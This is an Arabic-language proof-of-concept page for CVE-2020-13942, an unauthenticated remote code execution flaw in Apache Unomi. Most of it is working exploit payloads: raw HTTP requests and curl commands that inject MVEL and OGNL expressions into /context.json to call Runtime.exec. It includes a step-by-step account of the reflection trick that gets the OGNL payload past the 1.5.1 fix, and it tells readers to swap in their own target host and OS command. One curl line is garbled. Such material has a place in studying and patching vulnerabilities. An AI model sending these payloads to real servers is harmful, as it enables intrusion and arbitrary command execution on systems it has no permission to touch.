
CVE-2020-13942 إثبات مفهوم لـ RCE بدون مصادقة عبر حقن MVEL وOGNL
المقال الأصلي في المدونة حول الثغرة: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
يوجد متجهان لـ RCE: عبر حقن MVEL وعبر حقن OGNL. يستهدف كلا المتجهين كودًا مختلفًا على الرغم من أن الحمولات تبدو متشابهة نسبيًا. حاول إصلاح CVE السابق https://nvd.nist.gov/vuln/detail/CVE-2020-11975 تقييد تنفيذ تعبيرات OGNL، لكنه أغفل MVEL تمامًا. يتجاوز CVE-2020-13942 الإصلاح الذي تم في 1.5.1.
أرسل طلبات HTTP التالية باستخدام BurpSuite أو curl إلى context.js\json المكشوف بواسطة خادم Unomi واحصل على RCE. غيّر Host و Content-length وفقًا لعنوان URL المستهدف وأمر نظام التشغيل.
قد يتلقى كلا POC استجابة HTTP/1.1 400 Header Folding، مما يعني أن \r\n مشوشة في الحمولة، حاول نسخها ولصقها مرة أخرى.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
تجاوز OGNL POC قيد ClassLoader الذي قدمه الإصدار 1.5.1. باستخدام واجهة برمجة تطبيقات الانعكاس في Java، يمكن إنشاء كائن دون استدعاء طريقة ClassLoader.loadClass التي تقيّد تعبيرات OGNL التي يتم تقييمها.
تفصيل تعبير OGNL في الحمولة:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") ينشئ كائن Class من النوع java.lang.Runtime، حيث #this هو مرجع إلى كائن السياق.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] يحصل على قائمة طرق فئة Runtime عبر الانعكاس ويختار طريقة getRuntime من القائمة. الجزء {^ #this.name.equals(\"getRuntime\")} من التعبير يبحث عن Method بالاسم getRuntime ويعيد قائمة بالطرق التي تطابق الشرط؛ الطريقة الأولى والوحيدة في هذه القائمة هي getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) يستدعي طريقة getRuntime() ويحصل على كائن Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) يحصل على طرق فئة Runtime ويسترجع Runtime.exec() بوسيطة String واحدة من قائمة الطرق.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") يستدعي Runtime.exec() مع الوسيطة المحددة.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
جميع المعلومات المقدمة في هذه الصفحة هي لأغراض تعليمية فقط. يجب استخدام المعلومات الموجودة في هذا الموقع فقط لتعزيز أمان أنظمة الكمبيوتر لديك وليس للتسبب في هجمات خبيثة أو ضارة.
يجب ألا تسيء استخدام هذه المعلومات للحصول على وصول غير مصرح به إلى أنظمة الكمبيوتر. انتبه أيضًا إلى أن تنفيذ محاولات اختراق على أجهزة كمبيوتر لا تملكها، دون إذن كتابي من المالكين، أمر غير قانوني.
لن أكون مسؤولًا عن أي ضرر مباشر أو غير مباشر ناتج عن استخدام المعلومات المقدمة على هذا الموقع.